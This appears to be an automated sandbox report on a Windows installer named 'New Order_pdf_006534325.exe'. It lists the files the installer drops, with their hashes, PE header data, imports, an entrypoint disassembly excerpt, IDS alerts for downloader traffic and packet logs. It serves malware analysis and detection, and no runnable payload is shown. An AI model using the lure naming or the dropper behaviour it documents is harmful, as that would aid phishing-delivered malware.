SHA-512:	D50BD6A82BA31D495ED031D4DB484A002D7EDC4AC5EA7754EAB1CCFEFD93A84CC3252DEE4B5A2BB610B4E9491C3C3A8E8425FE0C402AAEE30964455836DCC635
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......\.l.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...".S3.U....FMx'..6.f...Zf.....M..J.T.y.SqZ.$"..r.ZE\..M..K...j.2j.3..J.+#(....'".+Y...l" ..\b..w.F..H.....V6..I&.E..3.....W.e.X.Ru.."L.y..T^RM:W...$`....).S#..S.x..j....j".;.<d.$.....sW.y.y...]6VD.....x.-.#..)...H...h..\b.c.c.nkD.....M#5"-U......jEL.v.sJ...T..Q...N)1.!...Jc.j.M#)Ls.P..+sI./<..c...*.....L.....,..7c.0..=3....MPj...D1.;c..v.$.....ZL ,..

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\statuerne.ini

Download File

Process:	C:\Users\user\Desktop\New Order_pdf_006534325.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 144x439, components 3
Category:	dropped
Size (bytes):	6835
Entropy (8bit):	7.74969139576544
Encrypted:	false
SSDEEP:	192:LmUYxmVeZsegZLmEg6wDlUacWkDzGaJIPSTSI:yxQemZLzg66lqDyavSI
MD5:	3831C556867D436A133A9B5FDF79684B
SHA1:	13AE2213B073F3196ABB859E38F83F95555B3938
SHA-256:	78A17C216A3BF8284794D00947540106614D492D316C77551F4EF1BA6C5C0A62
SHA-512:	2D52B046644156640F2FBF925C1BBF6B3711C1F0AA884382AE7F7CCCDE950FAA308AD2E25F70C8C8DC4A3462CD874204FBF1CB07F6E96E08E2FD3C1E5FDEBA92
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..*(..$))i(...(...(...(.....(...ZZJZ.(...m.Q@.E.P.E.P.E.P.E.P.KIK@..Q@.E%-.-.Q@...J.(...(...(...(...(...Z(...ZJZ.)i.-.6..E..QE..Ph...(...(...(.......(........E.P.E.P.QE..v......(...(.......(........E.P.IKI@..Q@..Q@.E%-..QE....P..E.....u.2.)(...(...(...(...(.h...(...Z(...ZJQ@......E.P.E.P.KIE.-..P..E...Rf...ZJ(.ii)E.0.j.'.5].T..\|Kskf..8...@.q.\.N...............\|L.......+o.

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\tatarisk.jpg

Download File

Process:	C:\Users\user\Desktop\New Order_pdf_006534325.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 776x593, components 3
Category:	dropped
Size (bytes):	67235
Entropy (8bit):	7.971625352258901
Encrypted:	false
SSDEEP:	1536:MQJM3Mn2nS9V8F1ybMLoh7C6dwFRWjVlcc3YWw3twgMkNfTr1:TJM3Mn2n88FMMXewFRecKYTr1
MD5:	253FBA4328C0BD2A6A545B30A3EB2774
SHA1:	7FE8F395AF1D8830F75E7E745AEB2CDDE9F0E061
SHA-256:	600306A1ABC1CB0582DC243C1488739470F08244FAC2576714B3503C6059CB19
SHA-512:	046CB1B41F366B88960AFE4EB841FDB07AB4AC76627141149C0202111912F8DF2C13182D5FE8B7AFED553920BFB60BC0A496AAD138BB9F18F1515A6E5F59756E
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......Q...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..<_mmg..gX.3.V.&..h..%.Z......O._#.+.s...5%....J......Ep.J..o.s..9sX....PLZ.x._L.....m.H...DV.#..6=...U..=^.Yl...I".f$S.Q...]......V..D.........G.}.W...%..-/c).....c]...%...*..6..>[.UN.A....:.....#..Dk@.........S...3....?.v17`i.......4.d.5w...+&.n.5..Br.E.J.\|..AV.e....n...o.pje.'<Vl..ei.\2...#W.....Z.g$u.......;..qB:..<..@.}.@.$`u....`..zPe......3...[$T

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\udsortering.jpg

Download File

Process:	C:\Users\user\Desktop\New Order_pdf_006534325.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 336x674, components 3
Category:	dropped
Size (bytes):	11778
Entropy (8bit):	7.750183257585458
Encrypted:	false
SSDEEP:	192:L1qavgSgIA/UZ1bEqNSc6nEKFL+2Q8TPwnMPW/77/JC6eRz+3E37HAYCRn:JXvgSgIuUkc6nEuS2Q8TPwn8o7YW/p
MD5:	93066B05F4D44458FCA79AE8F224EB61
SHA1:	53AED2782BDCED333A43B4BA2E44626BE9523A7D
SHA-256:	D201C46604EA15C19901F24F0EFFC0E0C1092B20A979DDBBF44775AEA7114400
SHA-512:	12D6F4CB1F2A5F6AC4DD4994317CA3020BEDD4F51B2ED8CC5A2A1BD684D9B8A1914F0645754578CA8C45AE531CAB09AB9B21B9D471481EAB42E283CE172044DB
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........P.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...iA....?D....P .SiG^(.{.)i..-%(.A.ZJ.;R.v.....x...AGz8..0........1.(.i(......Q@..P(..E..4.u4....CE..-1.IJi).w..sE..J){..Q.(..KIKH.iE%-..u....b....-...(..;Q.Q@.....-.Q......`.ii)h.QE..Q....ZJ;P..QE...(...(....zZC......J..P..N.P0..E...- .....R.Z...M...Z^.....E......(.4t...ZZJ(.Q....-....QE...Q...;.@...@....E.%.....(......R....Q@.....JZN....(()E .........RR..

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\undisposed.aff

Download File

Process:	C:\Users\user\Desktop\New Order_pdf_006534325.exe
File Type:	RDI Acoustic Doppler Current Profiler (ADCP)
Category:	dropped
Size (bytes):	204648
Entropy (8bit):	1.2604476925020542
Encrypted:	false
SSDEEP:	768:WXmsv9pSjlQaOvcHQi1qS+9i5JytPRctWMP7yOWS7twXm8kQhMjORtOyc1oH27xH:sqYcPpyRYDNVE4F9x
MD5:	DD342206FF527188A6C6170732D0546A
SHA1:	3557869F7DE168B288DA8386A1EF6DB5E2477FC9
SHA-256:	F5C8AFDD60C6C815F21560765AF73EDE0DA98573A9DA398467ABDCE30E994C9B
SHA-512:	421B988BC9D5356F402CF4BAE5816E78CD28D35931C0667CE7947B06B65131F5E95ADAD485A11564C5C8627AC7FE279452EBAD1B917E0FEC53796C913F19AD74
Malicious:	false
Preview:	...(............................................O........................................._.........t......I...................2...9...........L....... ...............s.....................................................a......r....................................................................................V..........................i.............................d...................................!..........................O..........G............................................o.....................h...............>......\3.........\....................`...................................8...~......A..............................................................................................................................................h.........................{.....................(.....F........................................................................D...q......................................T..3.................................@...............0....................

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\urremmenes.jpg

Download File

Process:	C:\Users\user\Desktop\New Order_pdf_006534325.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 144x439, components 3
Category:	dropped
Size (bytes):	6682
Entropy (8bit):	7.739313239785198
Encrypted:	false
SSDEEP:	192:LmUYxmVeZsegZLmEg6wDlUacWkDzGaJIPSTSj:yxQemZLzg66lqDyavSj
MD5:	4EA3437E960B9E8F828B52D8D4F3F1AB
SHA1:	B3320414E43EC606E7DD397A365BFCDE9A794008
SHA-256:	15107DDDCA248ED0D61A5E1E38846406E3605BB49042D7C9F98C54BC8C00D0FC
SHA-512:	DA0BE4D89C7AFC5F2CDEAC99AFFA420107B2AAA1AD9393C87506C09B062367329E30E796677939E76F0C8F8F8C924AF309C7F0FBEBFC6D249FA9CFADFB6988B6
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..*(..$))i(...(...(...(.....(...ZZJZ.(...m.Q@.E.P.E.P.E.P.E.P.KIK@..Q@.E%-.-.Q@...J.(...(...(...(...(...Z(...ZJZ.)i.-.6..E..QE..Ph...(...(...(.......(........E.P.E.P.QE..v......(...(.......(........E.P.IKI@..Q@..Q@.E%-..QE....P..E.....u.2.)(...(...(...(...(.h...(...Z(...ZJQ@......E.P.E.P.KIE.-..P..E...Rf...ZJ(.ii)E.0.j.'.5].T..\|Kskf..8...@.q.\.N...............\|L.......+o.

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\wollock.ini

Download File

Process:	C:\Users\user\Desktop\New Order_pdf_006534325.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 336x674, components 3
Category:	dropped
Size (bytes):	14434
Entropy (8bit):	7.6279871505246915
Encrypted:	false
SSDEEP:	384:JXvgSgIuUkc6nEuS2Q8TPwn8o7YW/jHgNi:J/sUZUEu1Qht7Y2L
MD5:	014E3A9B91F05D3500163479B611D3B8
SHA1:	54FE4CC79EDC9158616D5067516EC3AC21E68F06
SHA-256:	44693D40851185E37036C2164E23850DC7AD163B55AC0289D7B11AB3257164C5
SHA-512:	EFFE15A7A31CC924BD48871A89B83CFD27F4C04A548E6BFDF14F78F0DB34E109287121B11640CDDAF756314DA82316CB06AE59BB6A9181A2030F5253FF9931E4
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........P.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...iA....?D....P .SiG^(.{.)i..-%(.A.ZJ.;R.v.....x...AGz8..0........1.(.i(......Q@..P(..E..4.u4....CE..-1.IJi).w..sE..J){..Q.(..KIKH.iE%-..u....b....-...(..;Q.Q@.....-.Q......`.ii)h.QE..Q....ZJ;P..QE...(...(....zZC......J..P..N.P0..E...- .....R.Z...M...Z^.....E......(.4t...ZZJ(.Q....-....QE...Q...;.@...@....E.%.....(......R....Q@.....JZN....(()E .........RR..

C:\Users\user\AppData\Local\Temp\cocainize\Stemmepragten.Rin

Download File

Process:	C:\Users\user\Desktop\New Order_pdf_006534325.exe
File Type:	data
Category:	dropped
Size (bytes):	34495
Entropy (8bit):	4.586616586125473
Encrypted:	false
SSDEEP:	768:GGB/mx3Hll8vKyntugB1uXSbf1Rhydk45bkYVxA:GGM3Hlldywg3uXST1Gpkr
MD5:	98446B319DD151E913BCC4D7739AD50D
SHA1:	7A02561A2029C99D7C3372A1F54A242130ABC975
SHA-256:	EC22B5F2F2B9B25F6A4699FEC64FD2AC4887E782DD660416BD5E91BF44FBB4E5
SHA-512:	B5F4C583DF093CF0442A84BA8262A3E60FF13A046543F97D8998850A8C28A6D0A560E5B34AABB644213BF3958BB707177D5E91F15B6DE3CE4FECF07505D0B703
Malicious:	false
Preview:	...........................77........iii....>>>>.........??.................""""".t..JJJ...:...................P..........}...............;;;;...................................22...e...........'''''.C...i.....5...k...%.....................o.................1..ooo..............................l.............D..........rrrrrrrr.....***..........::...77.........................nn.......................UU..bb................................HH..$.JJ.........WWW........................................................................2...iii............7......Y......$$$$.........................Y..........aa.".......RR......@@@@.........vvv.........X.g..............D...........BB.22222.RRRR......s.............P.,...........\|......4444.......f.........p.....>>........................0........P....ggg.........................$$.............LL..;..dd.B.!.```...+...v............b......C........;..............................>....9......44.EE................e.aaaa...WWWW..... ..>.......6.B.CC......

C:\Users\user\AppData\Local\Temp\cocainize\Unaturligstes79.Bra

Download File

Process:	C:\Users\user\Desktop\New Order_pdf_006534325.exe
File Type:	data
Category:	dropped
Size (bytes):	247809
Entropy (8bit):	7.81833772902162
Encrypted:	false
SSDEEP:	6144:bxjtK7y6jNd6/pdtEgNG6IZe0QlGict2zy3NhLU81C:d5EhWGbaAiS2mLRg
MD5:	E0E6B8FAC05C378049A3439690189271
SHA1:	346146381E66B133F56B9A4214F817B006D2876D
SHA-256:	F637DC2FB895F2E4DD3886066024870A517121B74F06C36EDE660F5FF3FA61F1
SHA-512:	0B636FC9F0C9DF2C0F336199328312C1F48EDEAF1AC3D9209403820AF8D51DF072EDEFC70F42A295B688CEF765DB3AE6946508869551A8812807AA9A2617F2B2
Malicious:	false
Preview:	..........p..............................................::....../.lll..``..................`.........................aa..."...h...........?.......rrr....,,,,,,..............!......................e..EE......n......n..{{..>>>....................................................++..........................ccc.....uu.....................................................).............4....<...MMMMM.........................................)....................aa................YY.....................j................JJ......n.........m.JJJ..................2....m.....tt....................FF...............P...i...........................[.cc..............!......d.666..S..88.mm..hhhh.m..F.'.ggg.............A.................$..............dd..........................................I......n.....ii..............<.11.DDDD.......SS..........ss....++..................................Y.............................N..........m...:..............t..cc..........D...I..................[."..............

C:\Users\user\AppData\Local\Temp\nsnD7DE.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\New Order_pdf_006534325.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.97694153396788
Encrypted:	false
SSDEEP:	192:acA1YOTDExj7EFrYCT4E8y3hoSdtTgwF43E7QbGPXI9uIc6w79Mw:RR7SrtTv53tdtTgwF4SQbGPX36wJMw
MD5:	D6F54D2CEFDF58836805796F55BFC846
SHA1:	B980ADDC1A755B968DD5799179D3B4F1C2DE9D2D
SHA-256:	F917AEF484D1FBB4D723B2E2D3045CB6F5F664E61FBB3D5C577BD1C215DE55D9
SHA-512:	CE67DA936A93D46EF7E81ABC8276787C82FD844C03630BA18AFC3528C7E420C3228BFE82AEDA083BB719F2D1314AFAE913362ABD1E220CB364606519690D45DB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Quotation.exe, Detection: malicious, Browse Filename: Quotation.exe, Detection: malicious, Browse Filename: COTIZACION.exe, Detection: malicious, Browse Filename: Quotation.exe, Detection: malicious, Browse Filename: 1364. 2024.exe, Detection: malicious, Browse Filename: Quotation.exe, Detection: malicious, Browse Filename: Quote_220072.exe, Detection: malicious, Browse Filename: Quotation.exe, Detection: malicious, Browse Filename: Quotation.exe, Detection: malicious, Browse Filename: PO-000172483.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........@t.]!..]!..]!...T..Z!...Y..Z!..]!..I!...T..Y!...T..\!...T..\!...T..\!..Rich]!..................PE..L.....*c.........."!.....$..........J........@...............................p............@..........................@.......A..P............................`.......................................................@..X............................text...{".......$.................. ..`.rdata.......@.......(..............@..@.data...D....P.......,..............@....reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.737154966643079
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	New Order_pdf_006534325.exe
File size:	829'138 bytes
MD5:	502a5d91b19d266d46f6bf270a3ce0c8
SHA1:	1af86349a3c21d061baaf83bc5c7574ca85330af
SHA256:	7f2ad4dae501f03a420ec1971af3a5ebe539d7c3430dd632bb4dfa614aa82207
SHA512:	114232bcd480d72642688731cf8e4d2839266c5966c6ed5aaab0982ef42057d7e4ea707e0fd97f2c1124e0cd85ab9f32de4f27d8d5bb3e1eca5ee2c25ce314de
SSDEEP:	24576:Q4nbY9dZZZZZZZZZZyNag3sXrEMvvV3HQmhQ436/zc:Q+qZZZZZZZZZZyX3Invv1wzq6A
TLSH:	A105F193E68449B3DD68077588772A3215B7AE3E5A70931E535C3072BFB334361AB60B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............o...o...o...k...o...i...o...n...o...n...o.I.k...o.I.....o.I.m...o.Rich..o.................PE..L...!.*c.................n.

File Icon


Icon Hash:	8282b2b0b0a0e061

Static PE Info

General

Entrypoint:	0x4036da
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x632AE721 [Wed Sep 21 10:27:45 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	3f91aceea750f765ef2ba5d9988e6a00

Entrypoint Preview

Instruction
sub esp, 000003ECh
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov edi, 00408528h
push 00008001h
mov dword ptr [esp+14h], ebx
mov ebp, ebx
call dword ptr [00408170h]
mov esi, dword ptr [004080ACh]
lea eax, dword ptr [esp+2Ch]
xorps xmm0, xmm0
mov dword ptr [esp+40h], ebx
push eax
movlpd qword ptr [esp+00000144h], xmm0
mov dword ptr [esp+30h], 0000011Ch
call esi
test eax, eax
jne 00007FE8CCFCFCC9h
lea eax, dword ptr [esp+2Ch]
mov dword ptr [esp+2Ch], 00000114h
push eax
call esi
push 00000053h
pop eax
mov dl, 04h
mov byte ptr [esp+00000146h], dl
cmp word ptr [esp+40h], ax
jne 00007FE8CCFCFCA3h
mov eax, dword ptr [esp+5Ah]
add eax, FFFFFFD0h
mov word ptr [esp+00000140h], ax
jmp 00007FE8CCFCFC9Dh
xor eax, eax
jmp 00007FE8CCFCFC84h
mov dl, byte ptr [esp+00000146h]
cmp dword ptr [esp+30h], 0Ah
jnc 00007FE8CCFCFC9Dh
movzx eax, word ptr [esp+38h]
mov dword ptr [esp+38h], eax
jmp 00007FE8CCFCFC96h
mov eax, dword ptr [esp+38h]
mov dword ptr [007A8638h], eax
movzx eax, byte ptr [esp+30h]
shl ax, 0008h
movzx ecx, ax
movzx eax, byte ptr [esp+34h]
or ecx, eax
movzx eax, byte ptr [esp+00000140h]
shl ax, 0008h
shl ecx, 10h
movzx eax, word ptr [eax]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8a00	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3dc000	0x28818	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6c0b	0x6e00	9178309eee1a86dc5ef945d6826a6897	False	0.6605823863636363	data	6.398414552532143	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1896	0x1a00	0885e83a553c38819d1fab2908ca0cf5	False	0.4307391826923077	data	4.86610208699674	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x39e640	0x200	5c0f03a1a77f205400c2cbabec9976c4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x3a9000	0x33000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3dc000	0x28818	0x28a00	9bd07bb7e2b03cb2af6afb2e0d8df776	False	0.37796875	data	5.6074169892503285	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x3dc3b8	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x3dc720	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.30814503726487635
RT_ICON	0x3ecf48	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.40732079041412655
RT_ICON	0x3f63f0	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.4375693160813309
RT_ICON	0x3fb878	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.4142654700047237
RT_ICON	0x3ffaa0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4994813278008299
RT_ICON	0x402048	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.5269699812382739
RT_ICON	0x4030f0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.6409836065573771
RT_ICON	0x403a78	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6737588652482269
RT_DIALOG	0x403ee0	0x120	data	English	United States	0.53125
RT_DIALOG	0x404000	0x118	data	English	United States	0.5678571428571428
RT_DIALOG	0x404118	0x140	data	English	United States	0.46875
RT_DIALOG	0x404258	0xf8	data	English	United States	0.6330645161290323
RT_DIALOG	0x404350	0xa0	data	English	United States	0.6125
RT_DIALOG	0x4043f0	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x404450	0x76	data	English	United States	0.7542372881355932
RT_MANIFEST	0x4044c8	0x349	XML 1.0 document, ASCII text, with very long lines (841), with no line terminators	English	United States	0.5529131985731273

Imports

DLL	Import
ADVAPI32.dll	RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegEnumKeyW, RegEnumValueW, RegQueryValueExW, RegSetValueExW, OpenProcessToken, AdjustTokenPrivileges, LookupPrivilegeValueW, SetFileSecurityW, RegCreateKeyExW, RegOpenKeyExW
SHELL32.dll	ShellExecuteExW, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, SHGetSpecialFolderLocation
ole32.dll	OleInitialize, OleUninitialize, CoTaskMemFree, IIDFromString, CoCreateInstance
COMCTL32.dll	ImageList_Destroy, ImageList_AddMasked, ImageList_Create
USER32.dll	DispatchMessageW, wsprintfA, SystemParametersInfoW, SetClassLongW, GetWindowLongW, GetSysColor, ScreenToClient, SetCursor, GetWindowRect, TrackPopupMenu, AppendMenuW, EnableMenuItem, CreatePopupMenu, GetSystemMenu, GetSystemMetrics, IsWindowEnabled, EmptyClipboard, SetClipboardData, CloseClipboard, OpenClipboard, CheckDlgButton, EndDialog, DialogBoxParamW, IsWindowVisible, SetWindowPos, CreateWindowExW, GetClassInfoW, PeekMessageW, CallWindowProcW, GetMessagePos, CharNextW, ExitWindowsEx, SetWindowTextW, SetTimer, CreateDialogParamW, DestroyWindow, LoadImageW, FindWindowExW, SetWindowLongW, InvalidateRect, ReleaseDC, GetDC, SetForegroundWindow, EnableWindow, GetDlgItem, ShowWindow, IsWindow, PostQuitMessage, SendMessageTimeoutW, SendMessageW, wsprintfW, FillRect, GetClientRect, EndPaint, BeginPaint, DrawTextW, DefWindowProcW, SetDlgItemTextW, GetDlgItemTextW, CharNextA, MessageBoxIndirectW, RegisterClassW, CharPrevW, LoadCursorW
GDI32.dll	SetBkMode, CreateBrushIndirect, GetDeviceCaps, SelectObject, DeleteObject, SetBkColor, SetTextColor, CreateFontIndirectW
KERNEL32.dll	WriteFile, GetLastError, WaitForSingleObject, GetExitCodeProcess, GetTempFileNameW, CreateFileW, CreateDirectoryW, WideCharToMultiByte, lstrlenW, lstrcpynW, GlobalLock, GlobalUnlock, CreateThread, GetDiskFreeSpaceW, CopyFileW, GetVersionExW, GetWindowsDirectoryW, ExitProcess, GetCurrentProcess, CreateProcessW, GetTempPathW, SetEnvironmentVariableW, GetCommandLineW, GetModuleFileNameW, GetTickCount, GetFileSize, MultiByteToWideChar, MoveFileW, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, lstrcmpiW, lstrcmpW, MulDiv, GlobalFree, GlobalAlloc, LoadLibraryExW, GetModuleHandleW, FreeLibrary, Sleep, CloseHandle, SetFileTime, SetFilePointer, SetFileAttributesW, ReadFile, GetShortPathNameW, GetFullPathNameW, GetFileAttributesW, FindNextFileW, FindFirstFileW, FindClose, DeleteFileW, CompareFileTime, SearchPathW, SetCurrentDirectoryW, ExpandEnvironmentStringsW, RemoveDirectoryW, GetSystemDirectoryW, MoveFileExW, GetModuleHandleA, GetProcAddress, lstrcmpiA, lstrcpyA, lstrcatW, SetErrorMode

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-05T12:52:17.654811+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49708	216.58.206.78	443	TCP
2025-02-05T12:52:23.736174+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49710	132.226.8.169	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 5, 2025 12:52:16.517793894 CET	49708	443	192.168.2.8	216.58.206.78
Feb 5, 2025 12:52:16.517904043 CET	443	49708	216.58.206.78	192.168.2.8
Feb 5, 2025 12:52:16.518035889 CET	49708	443	192.168.2.8	216.58.206.78
Feb 5, 2025 12:52:16.538898945 CET	49708	443	192.168.2.8	216.58.206.78
Feb 5, 2025 12:52:16.538991928 CET	443	49708	216.58.206.78	192.168.2.8
Feb 5, 2025 12:52:17.263900995 CET	443	49708	216.58.206.78	192.168.2.8
Feb 5, 2025 12:52:17.263982058 CET	49708	443	192.168.2.8	216.58.206.78
Feb 5, 2025 12:52:17.264607906 CET	443	49708	216.58.206.78	192.168.2.8
Feb 5, 2025 12:52:17.264662981 CET	49708	443	192.168.2.8	216.58.206.78
Feb 5, 2025 12:52:17.337186098 CET	49708	443	192.168.2.8	216.58.206.78
Feb 5, 2025 12:52:17.337269068 CET	443	49708	216.58.206.78	192.168.2.8
Feb 5, 2025 12:52:17.337620974 CET	443	49708	216.58.206.78	192.168.2.8
Feb 5, 2025 12:52:17.337690115 CET	49708	443	192.168.2.8	216.58.206.78
Feb 5, 2025 12:52:17.341737032 CET	49708	443	192.168.2.8	216.58.206.78
Feb 5, 2025 12:52:17.383351088 CET	443	49708	216.58.206.78	192.168.2.8
Feb 5, 2025 12:52:17.654797077 CET	443	49708	216.58.206.78	192.168.2.8
Feb 5, 2025 12:52:17.655469894 CET	443	49708	216.58.206.78	192.168.2.8
Feb 5, 2025 12:52:17.655635118 CET	49708	443	192.168.2.8	216.58.206.78
Feb 5, 2025 12:52:17.657067060 CET	49708	443	192.168.2.8	216.58.206.78
Feb 5, 2025 12:52:17.657093048 CET	443	49708	216.58.206.78	192.168.2.8
Feb 5, 2025 12:52:17.691212893 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:17.691262007 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:17.691323042 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:17.691638947 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:17.691654921 CET	443	49709	216.58.206.65	192.168.2.8
